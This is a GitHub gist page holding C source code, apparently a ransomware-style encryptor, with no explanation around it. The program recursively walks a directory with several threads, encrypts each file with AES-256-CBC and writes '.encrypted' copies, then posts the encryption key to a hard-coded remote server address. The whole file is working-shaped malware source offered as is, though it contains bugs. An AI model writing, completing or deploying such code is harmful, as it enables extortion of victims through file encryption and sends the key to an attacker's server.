Created
March 11, 2023 07:07
-
-
Save vesche/bbcad6be0f87351a2e96f47d7a5e4c73 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <pthread.h> | |
#include <unistd.h> | |
#include <dirent.h> | |
#include <string.h> | |
#include <openssl/evp.h> | |
#include <curl/curl.h> | |
#define KEY_SERVER_IP "1.2.3.4" | |
#define NUM_THREADS 8 | |
typedef struct { | |
int thread_id; | |
char* root_dir; | |
char* key; | |
} thread_arg_t; | |
void* encrypt_files(void* arg) { | |
thread_arg_t* t_arg = (thread_arg_t*) arg; | |
char* root_dir = t_arg->root_dir; | |
char* key = t_arg->key; | |
DIR* dir = opendir(root_dir); | |
if (!dir) { | |
printf("Error: cannot open directory %s\n", root_dir); | |
pthread_exit(NULL); | |
} | |
struct dirent* dp; | |
while ((dp = readdir(dir)) != NULL) { | |
if (strcmp(dp->d_name, ".") == 0 || strcmp(dp->d_name, "..") == 0) { | |
continue; | |
} | |
char path[PATH_MAX]; | |
snprintf(path, PATH_MAX, "%s/%s", root_dir, dp->d_name); | |
if (dp->d_type == DT_DIR) { | |
thread_arg_t child_arg = { | |
.thread_id = t_arg->thread_id + 1, | |
.root_dir = path, | |
.key = key | |
}; | |
pthread_t child_thread; | |
pthread_create(&child_thread, NULL, encrypt_files, &child_arg); | |
pthread_join(child_thread, NULL); | |
} else { | |
FILE* fp = fopen(path, "rb"); | |
if (!fp) { | |
printf("Error: cannot open file %s\n", path); | |
continue; | |
} | |
fseek(fp, 0, SEEK_END); | |
long file_size = ftell(fp); | |
fseek(fp, 0, SEEK_SET); | |
char* file_content = (char*) malloc(file_size); | |
fread(file_content, 1, file_size, fp); | |
fclose(fp); | |
EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new(); | |
EVP_EncryptInit(ctx, EVP_aes_256_cbc(), (unsigned char*) key, NULL); | |
int outlen, totlen; | |
unsigned char* ciphertext = (unsigned char*) malloc(file_size + EVP_CIPHER_CTX_block_size(ctx)); | |
EVP_EncryptUpdate(ctx, ciphertext, &outlen, (unsigned char*) file_content, file_size); | |
EVP_EncryptFinal(ctx, ciphertext + outlen, &totlen); | |
outlen += totlen; | |
EVP_CIPHER_CTX_free(ctx); | |
char encrypted_file_path[PATH_MAX]; | |
snprintf(encrypted_file_path, PATH_MAX, "%s.encrypted", path); | |
FILE* encrypted_fp = fopen(encrypted_file_path, "wb"); | |
if (!encrypted_fp) { | |
printf("Error: cannot open file %s for writing\n", encrypted_file_path); | |
continue; | |
} | |
fwrite(ciphertext, 1, outlen, encrypted_fp); | |
fclose(encrypted_fp); | |
free(file_content); | |
free(ciphertext); | |
} | |
} | |
closedir(dir); | |
if (t_arg->thread_id == 0) { | |
CURL* curl = curl_easy_init(); | |
if (curl) { | |
curl_easy_setopt(curl, CURLOPT_URL, "https://1.2.3.4/key"); | |
curl_easy_setopt(curl, CURLOPT_POST, 1); | |
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, t_arg->key); | |
CURLcode res = curl_easy_perform(curl); | |
if (res != CURLE_OK) { | |
printf("Error sending encryption key: %s\n", curl_easy_strerror(res)); | |
} | |
curl_easy_cleanup(curl); | |
} | |
} | |
pthread_exit(NULL); | |
} | |
int main(int argc, char** argv) { | |
if (argc < 3) { | |
printf("Usage: %s <root_directory> <encryption_key>\n", argv[0]); | |
exit(1); | |
} | |
char* root_dir = argv[1]; | |
char* key = argv[2]; | |
pthread_t threads[NUM_THREADS]; | |
thread_arg_t args[NUM_THREADS]; | |
for (int i = 0; i < NUM_THREADS; i++) { | |
args[i] = (thread_arg_t) { | |
.thread_id = i, | |
.root_dir = root_dir, | |
.key = key | |
}; | |
pthread_create(&threads[i], NULL, encrypt_files, &args[i]); | |
} | |
for (int i = 0; i < NUM_THREADS; i++) { | |
pthread_join(threads[i], NULL); | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment